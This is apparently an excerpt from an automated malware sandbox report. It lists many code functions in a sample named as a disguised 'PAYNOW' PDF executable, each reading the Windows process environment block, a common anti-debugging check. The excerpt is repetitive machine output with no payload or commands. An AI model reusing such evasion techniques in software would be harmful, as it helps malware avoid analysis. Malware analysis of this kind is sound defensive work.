Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A3740 mov eax, dword ptr fs:[00000030h]	6_2_334A3740
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AA750 mov eax, dword ptr fs:[00000030h]	6_2_334AA750
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33492755 mov eax, dword ptr fs:[00000030h]	6_2_33492755
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33492755 mov eax, dword ptr fs:[00000030h]	6_2_33492755
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33492755 mov eax, dword ptr fs:[00000030h]	6_2_33492755
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33492755 mov ecx, dword ptr fs:[00000030h]	6_2_33492755
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33492755 mov eax, dword ptr fs:[00000030h]	6_2_33492755
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33492755 mov eax, dword ptr fs:[00000030h]	6_2_33492755
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F75B mov eax, dword ptr fs:[00000030h]	6_2_3346F75B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33482760 mov ecx, dword ptr fs:[00000030h]	6_2_33482760
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B1763 mov eax, dword ptr fs:[00000030h]	6_2_334B1763
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B1763 mov eax, dword ptr fs:[00000030h]	6_2_334B1763
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B1763 mov eax, dword ptr fs:[00000030h]	6_2_334B1763
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B1763 mov eax, dword ptr fs:[00000030h]	6_2_334B1763
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B1763 mov eax, dword ptr fs:[00000030h]	6_2_334B1763
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B1763 mov eax, dword ptr fs:[00000030h]	6_2_334B1763
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33474779 mov eax, dword ptr fs:[00000030h]	6_2_33474779
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33474779 mov eax, dword ptr fs:[00000030h]	6_2_33474779
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A0774 mov eax, dword ptr fs:[00000030h]	6_2_334A0774
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B705 mov eax, dword ptr fs:[00000030h]	6_2_3346B705
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B705 mov eax, dword ptr fs:[00000030h]	6_2_3346B705
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B705 mov eax, dword ptr fs:[00000030h]	6_2_3346B705
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B705 mov eax, dword ptr fs:[00000030h]	6_2_3346B705
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349270D mov eax, dword ptr fs:[00000030h]	6_2_3349270D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349270D mov eax, dword ptr fs:[00000030h]	6_2_3349270D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349270D mov eax, dword ptr fs:[00000030h]	6_2_3349270D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F717 mov eax, dword ptr fs:[00000030h]	6_2_3352F717
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347D700 mov ecx, dword ptr fs:[00000030h]	6_2_3347D700
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353970B mov eax, dword ptr fs:[00000030h]	6_2_3353970B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353970B mov eax, dword ptr fs:[00000030h]	6_2_3353970B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347471B mov eax, dword ptr fs:[00000030h]	6_2_3347471B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347471B mov eax, dword ptr fs:[00000030h]	6_2_3347471B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33499723 mov eax, dword ptr fs:[00000030h]	6_2_33499723
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F7CF mov eax, dword ptr fs:[00000030h]	6_2_3352F7CF
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334737E4 mov eax, dword ptr fs:[00000030h]	6_2_334737E4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334737E4 mov eax, dword ptr fs:[00000030h]	6_2_334737E4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334737E4 mov eax, dword ptr fs:[00000030h]	6_2_334737E4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334737E4 mov eax, dword ptr fs:[00000030h]	6_2_334737E4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334737E4 mov eax, dword ptr fs:[00000030h]	6_2_334737E4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334737E4 mov eax, dword ptr fs:[00000030h]	6_2_334737E4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334737E4 mov eax, dword ptr fs:[00000030h]	6_2_334737E4
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E7E0 mov eax, dword ptr fs:[00000030h]	6_2_3349E7E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334777F9 mov eax, dword ptr fs:[00000030h]	6_2_334777F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334777F9 mov eax, dword ptr fs:[00000030h]	6_2_334777F9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE79D mov eax, dword ptr fs:[00000030h]	6_2_334EE79D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354B781 mov eax, dword ptr fs:[00000030h]	6_2_3354B781
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354B781 mov eax, dword ptr fs:[00000030h]	6_2_3354B781
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A1796 mov eax, dword ptr fs:[00000030h]	6_2_334A1796
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A1796 mov eax, dword ptr fs:[00000030h]	6_2_334A1796
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334707A7 mov eax, dword ptr fs:[00000030h]	6_2_334707A7
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335417BC mov eax, dword ptr fs:[00000030h]	6_2_335417BC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353D7A7 mov eax, dword ptr fs:[00000030h]	6_2_3353D7A7
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353D7A7 mov eax, dword ptr fs:[00000030h]	6_2_3353D7A7
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353D7A7 mov eax, dword ptr fs:[00000030h]	6_2_3353D7A7
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33473640 mov eax, dword ptr fs:[00000030h]	6_2_33473640
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F640 mov eax, dword ptr fs:[00000030h]	6_2_3348F640
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F640 mov eax, dword ptr fs:[00000030h]	6_2_3348F640
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F640 mov eax, dword ptr fs:[00000030h]	6_2_3348F640
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AC640 mov eax, dword ptr fs:[00000030h]	6_2_334AC640
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AC640 mov eax, dword ptr fs:[00000030h]	6_2_334AC640
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346D64A mov eax, dword ptr fs:[00000030h]	6_2_3346D64A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346D64A mov eax, dword ptr fs:[00000030h]	6_2_3346D64A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A265C mov eax, dword ptr fs:[00000030h]	6_2_334A265C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A265C mov ecx, dword ptr fs:[00000030h]	6_2_334A265C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A265C mov eax, dword ptr fs:[00000030h]	6_2_334A265C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347965A mov eax, dword ptr fs:[00000030h]	6_2_3347965A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347965A mov eax, dword ptr fs:[00000030h]	6_2_3347965A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A5654 mov eax, dword ptr fs:[00000030h]	6_2_334A5654
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F166E mov eax, dword ptr fs:[00000030h]	6_2_334F166E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F166E mov eax, dword ptr fs:[00000030h]	6_2_334F166E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F166E mov eax, dword ptr fs:[00000030h]	6_2_334F166E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33467662 mov eax, dword ptr fs:[00000030h]	6_2_33467662
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33467662 mov eax, dword ptr fs:[00000030h]	6_2_33467662
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33467662 mov eax, dword ptr fs:[00000030h]	6_2_33467662
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A666D mov esi, dword ptr fs:[00000030h]	6_2_334A666D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A666D mov eax, dword ptr fs:[00000030h]	6_2_334A666D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A666D mov eax, dword ptr fs:[00000030h]	6_2_334A666D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33483660 mov eax, dword ptr fs:[00000030h]	6_2_33483660
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33483660 mov eax, dword ptr fs:[00000030h]	6_2_33483660
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33483660 mov eax, dword ptr fs:[00000030h]	6_2_33483660
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334FE660 mov eax, dword ptr fs:[00000030h]	6_2_334FE660
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33470670 mov eax, dword ptr fs:[00000030h]	6_2_33470670
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2670 mov eax, dword ptr fs:[00000030h]	6_2_334B2670
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2670 mov eax, dword ptr fs:[00000030h]	6_2_334B2670
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A360F mov eax, dword ptr fs:[00000030h]	6_2_334A360F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349D600 mov eax, dword ptr fs:[00000030h]	6_2_3349D600
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349D600 mov eax, dword ptr fs:[00000030h]	6_2_3349D600
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F9603 mov eax, dword ptr fs:[00000030h]	6_2_334F9603
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33544600 mov eax, dword ptr fs:[00000030h]	6_2_33544600
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F607 mov eax, dword ptr fs:[00000030h]	6_2_3352F607
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33503608 mov eax, dword ptr fs:[00000030h]	6_2_33503608
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33503608 mov eax, dword ptr fs:[00000030h]	6_2_33503608
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33503608 mov eax, dword ptr fs:[00000030h]	6_2_33503608
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33503608 mov eax, dword ptr fs:[00000030h]	6_2_33503608
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33503608 mov eax, dword ptr fs:[00000030h]	6_2_33503608
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33503608 mov eax, dword ptr fs:[00000030h]	6_2_33503608
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33477623 mov eax, dword ptr fs:[00000030h]	6_2_33477623
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33475622 mov eax, dword ptr fs:[00000030h]	6_2_33475622
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33475622 mov eax, dword ptr fs:[00000030h]	6_2_33475622
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AC620 mov eax, dword ptr fs:[00000030h]	6_2_334AC620
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AF63F mov eax, dword ptr fs:[00000030h]	6_2_334AF63F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AF63F mov eax, dword ptr fs:[00000030h]	6_2_334AF63F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33470630 mov eax, dword ptr fs:[00000030h]	6_2_33470630
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A0630 mov eax, dword ptr fs:[00000030h]	6_2_334A0630
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F8633 mov esi, dword ptr fs:[00000030h]	6_2_334F8633
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F8633 mov eax, dword ptr fs:[00000030h]	6_2_334F8633
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F8633 mov eax, dword ptr fs:[00000030h]	6_2_334F8633
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351D62C mov ecx, dword ptr fs:[00000030h]	6_2_3351D62C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351D62C mov ecx, dword ptr fs:[00000030h]	6_2_3351D62C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351D62C mov eax, dword ptr fs:[00000030h]	6_2_3351D62C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334706CF mov eax, dword ptr fs:[00000030h]	6_2_334706CF
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353A6C0 mov eax, dword ptr fs:[00000030h]	6_2_3353A6C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335186C2 mov eax, dword ptr fs:[00000030h]	6_2_335186C2
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349D6D0 mov eax, dword ptr fs:[00000030h]	6_2_3349D6D0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334696E0 mov eax, dword ptr fs:[00000030h]	6_2_334696E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334696E0 mov eax, dword ptr fs:[00000030h]	6_2_334696E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347C6E0 mov eax, dword ptr fs:[00000030h]	6_2_3347C6E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334756E0 mov eax, dword ptr fs:[00000030h]	6_2_334756E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334756E0 mov eax, dword ptr fs:[00000030h]	6_2_334756E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334756E0 mov eax, dword ptr fs:[00000030h]	6_2_334756E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334966E0 mov eax, dword ptr fs:[00000030h]	6_2_334966E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334966E0 mov eax, dword ptr fs:[00000030h]	6_2_334966E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EC6F2 mov eax, dword ptr fs:[00000030h]	6_2_334EC6F2
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EC6F2 mov eax, dword ptr fs:[00000030h]	6_2_334EC6F2
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680 mov eax, dword ptr fs:[00000030h]	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334ED69D mov eax, dword ptr fs:[00000030h]	6_2_334ED69D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33478690 mov eax, dword ptr fs:[00000030h]	6_2_33478690
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F68C mov eax, dword ptr fs:[00000030h]	6_2_3352F68C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334FC691 mov eax, dword ptr fs:[00000030h]	6_2_334FC691
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335386A8 mov eax, dword ptr fs:[00000030h]	6_2_335386A8
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335386A8 mov eax, dword ptr fs:[00000030h]	6_2_335386A8
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353A553 mov eax, dword ptr fs:[00000030h]	6_2_3353A553
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A6540 mov eax, dword ptr fs:[00000030h]	6_2_334A6540
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A8540 mov eax, dword ptr fs:[00000030h]	6_2_334A8540
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354B55F mov eax, dword ptr fs:[00000030h]	6_2_3354B55F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354B55F mov eax, dword ptr fs:[00000030h]	6_2_3354B55F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347254C mov eax, dword ptr fs:[00000030h]	6_2_3347254C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348E547 mov eax, dword ptr fs:[00000030h]	6_2_3348E547
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348C560 mov eax, dword ptr fs:[00000030h]	6_2_3348C560
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F9567 mov eax, dword ptr fs:[00000030h]	6_2_334F9567
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B502 mov eax, dword ptr fs:[00000030h]	6_2_3346B502
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AC50D mov eax, dword ptr fs:[00000030h]	6_2_334AC50D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AC50D mov eax, dword ptr fs:[00000030h]	6_2_334AC50D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33472500 mov eax, dword ptr fs:[00000030h]	6_2_33472500
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov ecx, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov ecx, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351F51B mov eax, dword ptr fs:[00000030h]	6_2_3351F51B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E507 mov eax, dword ptr fs:[00000030h]	6_2_3349E507
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E507 mov eax, dword ptr fs:[00000030h]	6_2_3349E507
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349E507 mov eax, dword ptr fs:[00000030h]	6_2_3349E507
